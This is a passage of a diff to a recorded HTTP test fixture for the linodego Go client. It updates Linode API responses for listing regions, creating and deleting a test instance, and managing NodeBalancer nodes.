172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -218,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-h0u0mg999k1a","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-20qhs7rjz485","root_pass":"\\8.MePuVb!j7y12/`iDt12A|5-z3Z989V\u0026=9OtIY9![GhDZ\\6,Iq/\\7/cycm0BEu","image":"linode/debian9","firewall_id":501400,"booted":false}' form: {} headers: Accept: @@ -239,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 49708281, "label": "go-test-ins-h0u0mg999k1a", "group": "", "status": + body: '{"id": 59542217, "label": "go-test-ins-20qhs7rjz485", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.4.154"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.62.85"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' + "4ecff3e7ba293f448d05aad89062f4677f5065a3", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -260,15 +335,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "741" + - "765" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -281,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -299,12 +381,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708281/ips + url: https://api.linode.com/v4beta/linode/instances/59542217/ips method: POST response: - body: '{"address": "192.168.159.17", "gateway": null, "subnet_mask": "255.255.128.0", - "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708281, - "region": "ap-west"}' + body: '{"address": "192.168.141.78", "gateway": null, "subnet_mask": "255.255.128.0", + "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 59542217, + "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -317,15 +399,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "183" + - "204" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -338,16 +424,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"address":"192.168.159.17:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' + body: '{"address":"192.168.141.78:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: @@ -356,12 +445,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441125/configs/670343/nodes + url: https://api.linode.com/v4beta/nodebalancers/694189/configs/1134763/nodes method: POST response: - body: '{"id": 516206638, "address": "192.168.159.17:8080", "label": "go-node-test-def", - "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670343, "nodebalancer_id": - 441125}' + body: '{"id": 2047158852, "address": "192.168.141.78:8080", "label": "go-node-test-def", + "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1134763, "nodebalancer_id": + 694189}' headers: Access-Control-Allow-Credentials: - "true" @@ -374,15 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "181" + - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -395,9 +488,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -413,12 +509,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441125/configs/670343/nodes/516206638 + url: https://api.linode.com/v4beta/nodebalancers/694189/configs/1134763/nodes/2047158852 method: GET response: - body: '{"id": 516206638, "address": "192.168.159.17:8080", "label": "go-node-test-def", - "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670343, "nodebalancer_id": - 441125}' + body: '{"id": 2047158852, "address": "192.168.141.78:8080", "label": "go-node-test-def", + "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1134763, "nodebalancer_id": + 694189}' headers: Access-Control-Allow-Credentials: - "true" @@ -431,16 +527,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "181" + - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -454,9 +553,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -472,7 +574,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441125/configs/670343/nodes/516206638 + url: https://api.linode.com/v4beta/nodebalancers/694189/configs/1134763/nodes/2047158852 method: DELETE response: body: '{}' @@ -488,15 +590,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -509,9 +615,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -527,7 +636,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708281 + url: https://api.linode.com/v4beta/linode/instances/59542217 method: DELETE response: body: '{}' @@ -543,15 +652,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:31 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -564,9 +677,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write 